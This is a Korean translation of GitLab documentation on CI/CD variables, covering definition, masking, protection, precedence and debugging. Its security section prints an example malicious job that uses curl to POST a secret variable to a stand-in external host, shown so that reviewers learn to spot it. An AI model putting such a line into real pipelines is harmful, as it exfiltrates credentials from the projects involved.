사전 정의된 CI/CD 변수
.gitlab-ci.yml 파일에서 CI/CD 변수 정의
- 단일 작업에서 전역 변수 생략
UI에서 CI/CD 변수 정의
CI/CD 변수 보안
작업 스크립트에서 CI/CD 변수 사용
다른 변수에서 CI/CD 변수 사용
- CI/CD 변수에서 $ 문자 사용
- CI/CD 변수 확장 방지
CI/CD 변수 우선 순위
- 정의된 CI/CD 변수 덮어쓰기
- 변수 재정의 권한 제한
변수 내보내기
관련 주제
문제 해결
- 모든 변수 목록
- 디버그 로깅 활성화
  - 디버그 로깅 액세스 제한
알려진 문제 및 해결 방법
- “argument list too long”

GitLab CI/CD 변수

Tier: Free, Premium, Ultimate Offering: GitLab.com, Self-managed, GitLab Dedicated

CI/CD 변수는 환경 변수의 한 유형입니다. 이를 사용하여 다음을 수행할 수 있습니다:

작업 및 파이프라인의 동작 제어
재사용하려는 값 저장
.gitlab-ci.yml 파일에 하드코딩된 값을 피하기

특정 파이프라인에 대해 변수 값을 수동으로 재정의하거나 수동으로 파이프라인을 실행할 때 변수 값을 미리 채우기할 수 있습니다.

변수 이름은 스크립트를 실행하는 실행자 쉘에 의해 제한됩니다. 각 쉘은 고유한 예약 변수 이름 집합을 가지고 있습니다.

일관된 동작을 보장하려면 변수 값을 항상 작은따옴표나 큰따옴표로 감싸야 합니다. 변수는 내부적으로 Psych YAML 파서에 의해 구문 분석되기 때문에 따옴표로 감싼 변수와 감싸지 않은 변수는 다르게 구문 분석될 수 있습니다. 예를 들어 VAR1: 012345는 8진수 값으로 해석되어 값이 5349가 됩니다만, VAR1: "012345"는 값이 012345인 문자열로 구문 분석됩니다.

GitLab CI/CD의 고급 사용에 대한 자세한 정보는 GitLab 엔지니어들이 공유한 7가지 고급 GitLab CI 워크플로우 해킹을 참조하세요.

사전 정의된 CI/CD 변수

GitLab CI/CD는 파이프라인 구성 및 작업 스크립트에서 사용할 수 있는 사전 정의된 CI/CD 변수 집합을 제공합니다. 이러한 변수에는 파이프라인이 트리거되거나 실행될 때 필요한 작업, 파이프라인 및 다른 값을 포함합니다.

.gitlab-ci.yml에서 사전 정의된 CI/CD 변수를 먼저 선언하지 않고 사용할 수 있습니다. 예를 들어:

job1:
  stage: test
  script:
    - echo "The job's stage is '$CI_JOB_STAGE'"

이 예에서 스크립트는 The job's stage is 'test'를 출력합니다.

`.gitlab-ci.yml` 파일에서 CI/CD 변수 정의

.gitlab-ci.yml 파일에서 CI/CD 변수를 생성하려면, 변수와 값을 variables 키워드로 정의하세요.

.gitlab-ci.yml 파일에 저장된 변수는 리포지토리에 액세스 권한이 있는 모든 사용자에게 표시되며, 프로젝트 설정에 민감하지 않은 프로젝트 구성만 저장해야 합니다. 예를 들어, DATABASE_URL 변수에 저장된 데이터베이스의 URL입니다. 시크릿 또는 키와 같은 민감한 값이 포함된 변수는 프로젝트 설정에 저장해야 합니다.

variables를 작업 내에 또는 .gitlab-ci.yml 파일의 상위 수준에서 사용할 수 있습니다. 만약 변수가 다음과 같이 정의된 경우:

상위 수준에서 정의되면 전역적으로 사용 가능하여 모든 작업에서 사용할 수 있습니다.
작업 내에서 정의되면 해당 작업에서만 사용할 수 있습니다.

예:

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables:
    JOB_VAR: "A job variable"
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

job2:
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

이 예에서:

job1은 Variables are 'A global variable' and 'A job variable'를 출력합니다.
job2는 Variables are 'A global variable' and ''를 출력합니다.

수동으로 실행된 파이프라인을 위해 미리 채워진 변수를 정의하려면 value 및 description 키워드를 사용하세요.

단일 작업에서 전역 변수 생략

전역으로 정의된 변수를 작업에서 사용할 수 없게 하려면 variables를 {}로 설정하세요:

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables: {}
  script:
    - echo This job does not need any variables

UI에서 CI/CD 변수 정의

토큰 또는 비밀번호와 같은 민감한 변수는 .gitlab-ci.yml 파일에 저장하지 말고 UI의 설정에 저장해야 합니다. UI에서 CI/CD 변수를 정의하세요:

프로젝트의 경우 프로젝트 설정에서
그룹 내의 모든 프로젝트의 경우 그룹 설정에서
GitLab 인스턴스 내의 모든 프로젝트의 경우 인스턴스 설정에서

또는 API를 사용하여 이러한 변수를 추가할 수 있습니다:

기본적으로 포크된 프로젝트의 파이프라인은 부모 프로젝트에서 사용 가능한 CI/CD 변수에 액세스할 수 없습니다. 만약 포크된 병합 요청을 위해 부모 프로젝트에서 파이프라인을 실행하면 모든 변수가 파이프라인에서 사용할 수 있게 됩니다.

프로젝트용

소개 된 GitLab 15.7에서 프로젝트는 최대 200개의 CI/CD 변수를 정의할 수 있습니다.
업데이트된 GitLab 15.9에서 프로젝트는 최대 8000개의 CI/CD 변수를 정의할 수 있습니다.

프로젝트 설정에서 CI/CD 변수를 추가할 수 있습니다.

필수 조건:

수행자 역할을 가진 프로젝트 구성원이어야 합니다.

프로젝트 설정에서 변수를 추가하거나 업데이트하려면:

프로젝트의 설정 > CI/CD로 이동하고 변수 섹션을 확장합니다.
변수 추가를 선택하고 세부 정보를 입력합니다:
- 키: 한 줄이어야 하며, 문자, 숫자 또는 _ 만 사용해야 합니다.
- 값: 제한 없음.
- 유형: 변수 (기본값) 또는 파일.
- 환경 범위: 선택 사항. 모두 또는 특정 환경.
- 변수 보호: 선택 사항. 선택하면 변수는 보호된 브랜치 또는 보호된 태그에서 실행되는 파이프라인에서만 사용 가능합니다.
- 변수 마스킹: 선택 사항. 선택하면 변수의 값이 작업 로그에 마스킹됩니다. 값이 마스킹 요구 사항을 충족하지 않으면 변수가 저장되지 않습니다.

변수를 만든 후에는 파이프라인 구성이나 작업 스크립트에서 사용할 수 있습니다.

그룹용

환경 범위 지원이 GitLab Premium 13.11에서 소개되었습니다.
소개된 GitLab 15.7에서 그룹은 최대 200개의 CI/CD 변수를 정의할 수 있습니다.
업데이트된 GitLab 15.9에서 그룹은 최대 30000개의 CI/CD 변수를 정의할 수 있습니다.

그룹 내 모든 프로젝트에서 CI/CD 변수를 사용할 수 있습니다.

필수 조건:

소유자 역할을 가진 그룹 구성원이어야 합니다.

그룹 변수를 추가하려면:

그룹에서 설정 > CI/CD로 이동합니다.
변수 추가를 선택하고 세부 정보를 입력합니다:
- 키: 한 줄이어야 하며, 문자, 숫자 또는 _ 만 사용해야 합니다.
- 값: 제한 없음.
- 유형: 변수 (기본값) 또는 파일.
- 환경 범위: 선택 사항. 모두 또는 특정 환경.
- 변수 보호: 선택 사항. 선택하면 변수는 보호된 브랜치나 태그에서 실행되는 파이프라인에서만 사용할 수 있습니다.
- 변수 마스킹: 선택 사항. 선택하면 변수의 값이 작업 로그에 표시되지 않습니다. 하위 그룹의 변수는 순환적으로 상속됩니다.

프로젝트에서 사용 가능한 그룹 변수는 프로젝트의 설정 > CI/CD > 변수 섹션에 나열됩니다.

인스턴스용

세부 정보: Tier: Free, Premium, Ultimate Offering: Self-managed, GitLab Dedicated

소개됨 GitLab 13.0에서.
기능 플래그가 제거됨 GitLab 13.11에서.

GitLab 인스턴스의 모든 프로젝트 및 그룹에서 CI/CD 변수를 사용할 수 있습니다.

필수 조건:

인스턴스에 대한 관리자 액세스 권한이 있어야 합니다.

인스턴스 변수를 추가하려면:

왼쪽 사이드바에서 하단에 있는 관리 영역을 선택합니다.
설정 > CI/CD를 선택하고 변수 섹션을 확장합니다.
변수 추가를 선택하고 세부 정보를 입력합니다:
- 키: 한 줄이어야 하며, 문자, 숫자 또는 _ 만 사용해야 합니다.
- 값: GitLab 13.3 및 이후에서 값은 최대 10,000자로 제한되지만 실행 중인 OS의 제한에도 바인딩됩니다. GitLab 13.0에서 13.2까지, 값은 최대 700자로 제한됩니다.
- 유형: 변수 (기본값) 또는 파일.
- 변수 보호: 선택 사항. 선택하면 변수는 보호된 브랜치나 태그에서 실행되는 파이프라인에서만 사용할 수 있습니다.
- 변수 마스킹: 선택 사항. 선택하면 변수의 값이 작업 로그에 표시되지 않습니다. 값이 마스킹 요구 사항를 충족하지 않으면 변수가 저장되지 않습니다.

CI/CD 변수 보안

.gitlab-ci.yml 파일에 푸시된 코드는 변수를 Compromise할 수 있습니다. 변수는 작업 로그에서 실수로 노출되거나 악의적으로 제3자 서버로 전송될 수 있습니다.

.gitlab-ci.yml 파일에 변경 사항을 도입하는 머지 요청을 모두 검토한 후 다음을 실행하기 전에:

포크된 프로젝트에서 제출된 머지 요청을 위한 부모 프로젝트에서 파이프라인 실행.
변경 사항을 머지합니다.

특정 프로젝트의 .gitlab-ci.yml 파일을 추가하거나 해당 파일에 대해 파이프라인을 실행하기 전에 가져온 프로젝트의 .gitlab-ci.yml 파일을 검토하십시오.

다음 예는 .gitlab-ci.yml 파일의 악성 코드를 보여줍니다:

accidental-leak-job:
  script:                                         # 실수로 노출된 비밀번호
    - echo "This script logs into the DB with $USER $PASSWORD"
    - db-login $USER $PASSWORD

malicious-job:
  script:                                         # 악의적으로 노출된 비밀
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

accidental-leak-job의 스크립트와 같이 비밀이 실수로 유출되는 위험을 줄이기 위해, 모든 민감한 정보를 포함하는 변수는 작업 로그에서 마스킹되어야 합니다. 또한 보호된 브랜치 및 태그에 대한 변수를 제한할 수도 있습니다.

다른 대안으로는 GitLab의 HashiCorp Vault 통합을 사용하여 비밀을 저장하고 검색할 수 있습니다.

malicious-job의 악성 스크립트와 같이 악성 코드는 검토 과정에서 발견되어야 합니다. 검토자는 이와 같은 코드를 발견하면 절대로 파이프라인을 트리거해서는 안 됩니다. 왜냐하면 악의적인 코드는 마스킹된 변수뿐만 아니라 보호된 변수를 모두 Compromise시킬 수 있기 때문입니다.

변수 값은 aes-256-cbc를 사용하여 암호화되며 데이터베이스에 저장됩니다. 이 데이터는 유효한 비밀 파일로만 읽고 해독할 수 있습니다.

CI/CD 변수 마스킹

GitLab 13.12에서 도입됨 - 마스킹된 변수에 ~ 문자를 사용할 수 있습니다.

경고: CI/CD 변수를 마스킹하는 것은 악의적 사용자가 변수 값을 액세스하는 것을 보장하는 방법은 아닙니다. 마스킹 기능은 “최선을 다하는” 기능으로 있으며 변수가 실수로 노출될 때 도움을 줍니다. 변수를 보다 안전하게 만들려면 외부 비밀을 사용하고 env/printenv와 같은 명령은 비밀 변수를 출력하지 못하도록하기 위해 파일 유형 변수를 고려하십시오.

프로젝트, 그룹 또는 인스턴스 CI/CD 변수를 마스크하여 해당 변수의 값을 작업 로그에 표시하지 않을 수 있습니다.

전제 조건:

UI에서 CI/CD 변수를 정의하는 데 필요한 것과 동일한 역할 또는 액세스 수준이 있어야 합니다.

변수를 마스킹하려면:

프로젝트, 그룹 또는 관리 영역에서 설정 > CI/CD로 이동합니다.
변수 섹션을 확장합니다.
보호하려는 변수 옆에 편집을 선택합니다.
마스크 변수 확인란을 선택합니다.
변수 업데이트를 선택합니다.

변수를 마스킹하는 데 사용된 방법은 마스킹된 변수에 포함될 수 있는 내용을 제한합니다. 변수의 값은 다음과 같아야 합니다:

한 줄로 되어야 합니다.
8자 이상이어야 합니다.
기존의 사전 정의된 또는 사용자 정의 CI/CD 변수의 이름과 일치해서는 안 됩니다.

또한, 변수 확장이 활성화되어 있는 경우 값은 다음만 포함할 수 있습니다:

Base64 알파벳 (RFC4648)의 문자.
@, :, ., 또는 ~ 문자.

다른 GitLab Runner의 버전에는 각각 다른 마스킹 제한 사항이 있습니다:

버전	제한 사항
v14.1.0 및 이전	큰 비밀 (4 KiB 이상) 마스킹의 경우 잠재적으로 노출. 민감한 URL 매개 변수 마스킹 없음.
v14.2.0에서 v15.3.0	큰 비밀 (4 KiB 이상)의 끝이 잠재적으로 노출. 민감한 URL 매개 변수 마스킹 없음.
v15.7.0 이상	`CI_DEBUG_SERVICES`가 활성화된 경우 비밀이 노출될 수 있습니다. 자세한 내용은 서비스 컨테이너 로깅을 참조하십시오.

CI/CD 변수 보호

프로젝트, 그룹 또는 인스턴스 CI/CD 변수를 구성하여 보호된 브랜치나 보호된 태그에서 실행되는 파이프라인에만 사용할 수 있도록 할 수 있습니다.

병합된 결과 파이프라인 및 병합 요청 파이프라인은 이러한 변수에 액세스할 수 없습니다.

필수 사항:

UI에서 CI/CD 변수를 정의하는 것과 동일한 역할 또는 액세스 수준이 필요합니다.

변수를 보호하려면:

프로젝트, 그룹 또는 인스턴스 관리 영역의 설정 > CI/CD로 이동합니다.
변수 섹션을 확장합니다.
보호하려는 변수 옆에서 편집을 선택합니다.
변수 보호 확인란을 선택합니다.
변수 업데이트를 선택합니다.

이제 해당 변수는 이후의 모든 파이프라인에 대해 사용할 수 있습니다.

파일 유형 CI/CD 변수 사용

모든 사전 정의된 CI/CD 변수 및 .gitlab-ci.yml 파일에 정의된 변수는 “variable” 유형입니다. (API의 env_var에서 variable_type 입니다). 변수 유형 변수는 다음과 같습니다:

키와 값 쌍으로 구성됩니다.
환경 변수로 작업에서 사용할 수 있으며:
- CI/CD 변수 키는 환경 변수 이름으로 사용됩니다.
- CI/CD 변수 값은 환경 변수 값으로 사용됩니다.

프로젝트, 그룹 및 인스턴스의 CI/CD 변수는 기본적으로 “variable” 유형이지만 필요에 따라 “file” 유형으로 설정할 수 있습니다 (API의 file에서 variable_type입니다). 파일 유형 변수는 다음과 같습니다:

키, 값 및 파일로 구성됩니다.
작업에서 환경 변수로 사용할 수 있으며:
- CI/CD 변수 키는 환경 변수 이름으로 사용됩니다.
- CI/CD 변수 값은 임시 파일로 저장됩니다.
- 임시 파일의 경로가 환경 변수 값으로 사용됩니다.

파일 유형의 CI/CD 변수는 파일이 입력으로 필요한 도구에 사용됩니다. AWS CLI 및 kubectl 은 구성을 위해 File 유형 변수를 사용하는 도구입니다.

예를 들어, 다음과 같이 kubectl을 사용하는 경우:

키가 KUBE_URL이고 값이 https://example.com인 변수.
KUBE_CA_PEM이라는 키가 있고 값으로 인증서가 있는 파일 유형 변수.

KUBE_URL을 --server 옵션으로 전달하고, $KUBE_CA_PEM을 --certificate-authority 옵션으로 전달합니다. 이 옵션들은 각각 변수와 파일의 경로를 받습니다:

kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"

경고: GitLab 15.6 이하에서는 파일 변수의 값을 다른 변수에 할당할 때 주의해야 합니다. 다른 변수는 파일의 내용을 값으로 취하고 파일의 경로가 아닙니다. GitLab 15.7 이후에는 이 동작이 수정되었습니다 및 다른 변수는 이제 파일의 경로를 값으로 취합니다.

`.gitlab-ci.yml` 변수를 파일 유형 변수로 사용

.gitlab-ci.yml 파일에 정의된 CI/CD 변수를 파일 유형 변수로 설정할 수 없습니다. 파일 경로가 필요한 도구를 사용하는 경우에는 다음을 수행할 수 있습니다:

해당 변수 값을 파일에 저장하는 명령을 실행합니다.
도구에서 해당 파일을 사용합니다.

예를 들어:

variables:
  SITE_URL: "https://gitlab.example.com"

job:
  script:
    - echo "$SITE_URL" > "site-url.txt"
    - mytool --url-file="site-url.txt"

작업 스크립트에서 CI/CD 변수 사용

모든 CI/CD 변수는 작업 환경의 환경 변수로 설정됩니다. 각 환경의 셸에 대한 표준 형식을 통해 작업 스크립트에서 변수를 사용할 수 있습니다.

환경 변수에 액세스하려면 러너 실행기 셸에 대한 구문을 사용합니다.

Bash, `sh` 및 유사한 셸에서

Bash, sh 및 유사한 셸에서 환경 변수에 액세스하려면 해당 변수를 ($)로 접두사로 붙입니다:

job_name:
  script:
    - echo "$CI_JOB_ID"

PowerShell로

Windows PowerShell 환경에서 변수에 액세스하려면 시스템에 의해 설정된 환경 변수를 포함해 변수 이름 앞에 $env: 또는 $를 붙입니다:

job_name:
  script:
    - echo $env:CI_JOB_ID
    - echo $CI_JOB_ID
    - echo $env:PATH

환경 변수를 적절하게 확장하려면 일부 경우에는 변수를 따옴표로 둘러싸야 합니다:

job_name:
  script:
    - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test

Windows Batch로

Windows Batch에서 CI/CD 변수에 액세스하려면 변수를 %로 둘러싸면 됩니다:

job_name:
  script:
    - echo %CI_JOB_ID%

지연된 확장을 위해 변수를 !로 둘러싸는 것도 가능합니다. 지연된 확장은 공백이나 새 줄이 포함된 변수에 필요할 수 있습니다:

job_name:
  script:
    - echo !ERROR_MESSAGE!

서비스 컨테이너 내에서

서비스 컨테이너는 CI/CD 변수를 사용할 수 있지만, 기본적으로 .gitlab-ci.yml 파일에 저장된 변수만 사용할 수 있습니다.

기본적으로 GitLab UI에서 설정한 변수는 서비스 컨테이너에서 사용할 수 없습니다. UI에서 정의된 변수를 서비스 컨테이너에서 사용하려면 .gitlab-ci.yml에서 변수를 다시 할당해야 합니다.

variables:
  SA_PASSWORD_YAML_FILE: $SA_PASSWORD_UI

다른 작업에 환경 변수 전달하기

GitLab 13.0에서 도입됨.
GitLab 13.1에서 기능 플래그가 제거됨.

작업 내에서 새로운 환경 변수를 만들어 후속 단계에서 다른 작업에게 전달할 수 있습니다. 이러한 변수는 파이프라인을 구성하는 CI/CD 변수로 사용할 수는 없지만 작업 스크립트에서 사용할 수 있습니다.

작업에서 다른 작업에 환경 변수를 전달하려면:

작업 스크립트에서 변수를 .env 파일로 저장합니다.
- 파일 형식은 한 줄에 하나의 변수 정의여야 합니다.
- 각 줄은 다음과 같은 형식이어야 합니다: 변수_이름=여기에_어떤_값이든_가능
- 값은 따옴표로 감쌀 수 있지만 새 줄 문자를 포함할 수는 없습니다.
.env 파일을 artifacts:reports:dotenv로 저장합니다.
후속 단계의 작업에서 스크립트에서 변수를 사용할 수 있습니다. (dotenv` 변수를 받지 않도록 구성된 경우를 제외하고).

예를 들어:

build-job:
  stage: build
  script:
    - echo "BUILD_VARIABLE=value_from_build_job" >> build.env
  artifacts:
    reports:
      dotenv: build.env

test-job:
  stage: test
  script:
    - echo "$BUILD_VARIABLE"  # 출력: 'value_from_build_job'

dotenv 보고서로부터의 변수는 특정 유형의 새 변수 정의보다 우선합니다. 또한 하위 파이프라인에 dotenv 변수를 전달할 수도 있습니다

`dotenv` 변수를 수신할 작업 제어하기

dependencies 또는 needs 키워드를 사용하여 dotenv artifact가 포함된 작업을 제어할 수 있습니다.

dotenv artifact에서 환경 변수를 전달하지 않으려면:

비어있는 dependencies 또는 needs 배열을 전달합니다.
needs:artifacts를 false로 전달합니다.
dotenv artifact가 없는 작업만 나열하도록 needs를 설정합니다.

예를 들어:

build-job1:
  stage: build
  script:
    - echo "BUILD_VERSION=v1.0.0" >> build.env
  artifacts:
    reports:
      dotenv: build.env

build-job2:
  stage: build
  needs: []
  script:
    - echo "This job has no dotenv artifacts"

test-job1:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력: 'v1.0.0'
  dependencies:
    - build

test-job2:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력: ''
  dependencies: []

test-job3:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력: 'v1.0.0'
  needs:
    - build-job1

test-job4:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # 출력: 'v1.0.0'
  needs:
    job: build-job1
    artifacts: true

test-job5:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # 출력: ''
  needs:
    job: build-job1
    artifacts: false

test-job6:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # 출력: ''
  needs:
    - build-job2

하나의 변수에 여러 값을 저장

CI/CD 변수로 값의 배열을 생성할 수는 없지만, 유사한 동작을 위해 셸 스크립팅 기술을 사용할 수 있습니다.

예를 들어, 변수에 공백으로 구분된 여러 값을 저장한 다음 스크립트로 값을 반복할 수 있습니다:

job1:
  variables:
    FOLDERS: src test docs
  script:
    - |
      for FOLDER in $FOLDERS
        do
          echo "The path is root/${FOLDER}"
        done

다른 변수에서 CI/CD 변수 사용

변수를 다른 변수 안에서 사용할 수 있습니다:

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS"'
  script:
    - 'eval "$LS_CMD"'  # 'ls -al'을 실행합니다

CI/CD 변수에서 `$` 문자 사용

$ 문자를 다른 변수의 시작으로 해석하지 않으려면 $$를 사용하세요:

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
  script:
    - 'eval "$LS_CMD"'  # 'ls -al $TMP_DIR'을 실행합니다

CI/CD 변수 확장 방지

도입됨 in GitLab 15.7.

확장된 변수는 값에 $ 문자가 다른 변수를 가리킨다고 간주합니다. CI/CD 변수는 기본적으로 확장됩니다. $ 문자가 포함된 변수를 원시 문자열로 처리하려면 변수의 확장을 비활성화하세요.

필수 조건:

UI에서 CI/CD 변수를 정의하는 데 필요한 것과 동일한 역할 또는 액세스 수준이어야 합니다.

변수의 확장을 비활성화하려면:

프로젝트 또는 그룹에서 설정 > CI/CD로 이동합니다.
변수 섹션을 확장합니다.
원하는 변수 옆에서 편집을 선택합니다.
변수 확장 확인란을 지웁니다.
변수 업데이트를 선택합니다.

CI/CD 변수 우선 순위

스캔 실행 정책 변수 우선 순위는 GitLab 16.7에서 변경되었으며 security_policies_variables_precedence라는 플래그로 활성화되었습니다. 기본적으로 활성화됨. GitLab 16.8에서 기능 플래그가 제거되었습니다.

여러 곳에서 동일한 이름의 CI/CD 변수를 사용할 수 있지만, 값은 서로 덮어씁니다. 변수의 유형과 정의된 위치에 따라 어떤 변수가 우선되는지가 결정됩니다.

변수의 우선 순위는 다음과 같습니다(높은 순서부터 낮은 순서):

스캔 실행 정책 변수.
이러한 변수들은 모두 동일한 (높은) 우선 순위를 가집니다:
프로젝트 변수.
그룹 변수. 동일한 변수 이름이 그룹 및 하위 그룹에 모두 존재하는 경우 작업은 가장 가까운 하위 그룹의 값을 사용합니다. 예를 들어 그룹 > 하위 그룹 1 > 하위 그룹 2 > 프로젝트와 같이 경우, 하위 그룹 2에 정의된 변수가 우선됩니다.
인스턴스 변수.
dotenv 리포트에서 정의된 변수.
.gitlab-ci.yml 파일의 작업에서 정의된 변수.
.gitlab-ci.yml 파일에서 작업 외부(전역적)에 정의된 변수.
배포 변수.
사전 정의된 변수.

예시:

variables:
  API_TOKEN: "default"

job1:
  variables:
    API_TOKEN: "secure"
  script:
    - echo "The variable is '$API_TOKEN'"

이 예시에서 job1은 ‘secure’로 정의된 변수가 전역으로 정의된 변수보다 높은 우선 순위를 가짐으로써 The variable is 'secure'를 출력합니다.

정의된 CI/CD 변수 덮어쓰기

다음 경우에 변수의 값을 덮어쓸 수 있습니다:

UI에서 수동으로 파이프라인 실행.
파이프라인을 `pipelines’ API 엔드포인트를 사용하여 생성.
푸시 옵션 사용.
트리거’ API 엔드포인트를 사용하여 파이프라인을 트리거.
variable 키워드를 사용하여 하향식 파이프라인에 변수 전달 또는 dotenv 변수를 사용합니다.

사전 정의된 변수를 덮어쓰는 것은 예기치 않은 동작을 유발할 수 있으므로 피해야 합니다.

변수 재정의 권한 제한

GitLab 13.8에서 도입되었습니다.

변수를 재정의하는 기능을 Maintainer 역할을 가진 사용자만 할 수 있도록 제한할 수 있습니다. 다른 사용자가 재정의된 변수로 파이프라인을 실행하려고 하면 Insufficient permissions to set pipeline variables 오류 메시지가 표시됩니다.

이 기능은 프로젝트 API를 사용하여 restrict_user_defined_variables 설정을 활성화하여 사용할 수 있습니다. 이 설정은 기본적으로 disabled 상태입니다.

만약 CI/CD 구성을 다른 저장소에 저장하고 있다면, 파이프라인이 실행되는 환경을 제어하기 위해 이 설정을 사용할 수 있습니다.

변수 내보내기

별도의 셸 컨텍스트에서 실행되는 스크립트는 내보내기, 별칭, 로컬 함수 정의 또는 다른 로컬 셸 업데이트를 공유하지 않습니다.

이는 작업이 실패하면 사용자 정의 스크립트에 의해 생성된 변수가 내보내지지 않는다는 것을 의미합니다.

런너가 .gitlab-ci.yml에서 정의된 작업을 실행할 때: - before_script에 지정된 스크립트와 주 스크립트는 단일 셸 컨텍스트에서 함께 실행되어 연결됩니다. - after_script에 지정된 스크립트는 before_script 및 지정된 스크립트와 완전히 분리된 셸 컨텍스트에서 실행됩니다.

스크립트가 실행되는 셸에 관계없이 런너 출력에는 다음이 포함됩니다: - 미리 정의된 변수 - 다음 위치에서 정의된 변수: - 인스턴스, 그룹 또는 프로젝트 CI/CD 설정 - variables: 섹션의 .gitlab-ci.yml 파일 - secrets: 섹션의 .gitlab-ci.yml 파일 - config.toml

런너는 스크립트 내에서 수동으로 내보내기, 셸 별칭 및 함수를 처리할 수 없습니다. 즉, export MY_VARIABLE=1과 같은 것은 불가능합니다.

예를 들어, 다음 .gitlab-ci.yml 파일에서 다음 스크립트가 정의되어 있습니다:

    job:
     variables:
       JOB_DEFINED_VARIABLE: "job variable"
     before_script:
       - echo "This is the 'before_script' script"
       - export MY_VARIABLE="variable"
     script:
       - echo "This is the 'script' script"
       - echo "JOB_DEFINED_VARIABLE의 값은 ${JOB_DEFINED_VARIABLE}입니다."
       - echo "CI_COMMIT_SHA의 값은 ${CI_COMMIT_SHA}입니다."
       - echo "MY_VARIABLE의 값은 ${MY_VARIABLE}입니다."
     after_script:
       - echo "JOB_DEFINED_VARIABLE의 값은 ${JOB_DEFINED_VARIABLE}입니다."
       - echo "CI_COMMIT_SHA의 값은 ${CI_COMMIT_SHA}입니다."
       - echo "MY_VARIABLE의 값은 ${MY_VARIABLE}입니다."

런너가 작업을 실행할 때:

before_script가 실행됩니다:
1. 출력을 표시합니다.
2. MY_VARIABLE 변수를 정의합니다.
script가 실행됩니다:
1. 출력을 표시합니다.
2. JOB_DEFINED_VARIABLE의 값을 표시합니다.
3. CI_COMMIT_SHA의 값을 표시합니다.
4. MY_VARIABLE의 값을 표시합니다.
after_script는 새로운 독립된 셸 컨텍스트에서 실행됩니다:
1. 출력을 표시합니다.
2. JOB_DEFINED_VARIABLE의 값을 표시합니다.
3. CI_COMMIT_SHA의 값을 표시합니다.
4. MY_VARIABLE의 값을 표시합니다. after_script가 before_script와는 별개의 셸 컨텍스트에 있기 때문에 변수 값이 감지되지 않습니다.

문제 해결

모든 변수 목록

Bash에서는 export 명령어, PowerShell에서는 dir env: 명령어를 사용하여 스크립트에서 사용 가능한 모든 변수를 나열할 수 있습니다. 이를 통해 모든 사용 가능한 변수의 값을 노출시켜 보안 위험 을 초래할 수 있습니다. 마스킹된 변수는 [masked]로 표시됩니다.

예를 들어, Bash에서:

job_name:
  script:
    - export

예시 작업 로그 출력 (중략):

export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="main"
export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"
export CI_JOB_TOKEN="[masked]"
export CI_PIPELINE_ID="1000"
export CI_PIPELINE_IID="10"
export CI_PAGES_DOMAIN="gitlab.io"
export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab"
export CI_PROJECT_ID="34"
export CI_PROJECT_DIR="/builds/gitlab-org/gitlab"
export CI_PROJECT_NAME="gitlab"
export CI_PROJECT_TITLE="GitLab"
...

디버그 로깅 활성화

경고: 디버그 로깅은 심각한 보안 위험을 초래할 수 있습니다. 출력에는 작업에서 사용 가능한 모든 변수 및 기타 비밀 정보의 내용이 포함됩니다. 출력물은 GitLab 서버에 업로드되어 작업 로그에서 확인할 수 있습니다.

디버그 로깅을 사용하여 파이프라인 구성 또는 작업 스크립트의 문제를 해결할 수 있습니다. 디버그 로깅을 통해 일반적으로 러너에 의해 숨겨진 작업 실행 세부 정보가 노출되어 작업 로그가 보다 상세해지고, 작업에서 사용 가능한 모든 변수 및 비밀 정보가 노출됩니다.

디버그 로깅을 활성화하기 전에, 작업 로그를 볼 수 있는 권한이 팀 멤버에게만 부여되었는지 확인하십시오. 또한 다시 로그를 공개하기 전에 디버그 출력을 삭제해야 합니다.

디버그 로깅을 활성화하려면 CI_DEBUG_TRACE 변수를 true로 설정하세요:

job_name:
  variables:
    CI_DEBUG_TRACE: "true"

예시 출력 (중략):

...

디버그 로깅 액세스 제한

소개됨 : GitLab 13.7.
기능 플래그 제거됨 : GitLab 13.8.

디버그 로깅 액세스를 제한할 수 있습니다. 제한된 경우에는 디버그 로깅이 활성화된 상태에서 작업 로그를 볼 수 있는 사용자는 적어도 개발자 역할을 가진 사용자만 가능합니다.

.gitlab-ci.yml 파일의 CI/CD 변수를 정의합니다.
GitLab UI에서 설정된 CI/CD 변수.

경고: CI_DEBUG_TRACE를 로컬 변수로 추가하면 디버그 로그가 생성되어 작업 로그에 액세스할 수 있는 모든 사용자에게 표시됩니다. Runner는 권한 수준을 확인하지 않으므로 해당 변수는 GitLab 자체에서만 사용해야 합니다.

알려진 문제 및 해결 방법

CI/CD 변수에 관련된 알려진 문제와 경우에 따라 알려진 해결 방법입니다.

“argument list too long”

이 문제는 작업이 실행되는 셸이 부과하는 한계를 초과하는 모든 CI/CD 변수의 결합된 길이가 증가하면 발생합니다. 이는 사전 정의된 변수 및 사용자 정의 변수의 이름 및 값 모두를 포함합니다. 이 한계는 일반적으로 ARG_MAX로 참조되며 셸 및 운영 체제에 따라 다릅니다. 또한 이 문제는 File-type 변수의 내용이 ARG_MAX를 초과할 때도 발생합니다.

자세한 정보는 issue 392406을 참조하십시오.

해결 방법은 다음과 같습니다:

가능한 경우 큰 환경 변수에 대해 File-type CI/CD 변수를 사용합니다.
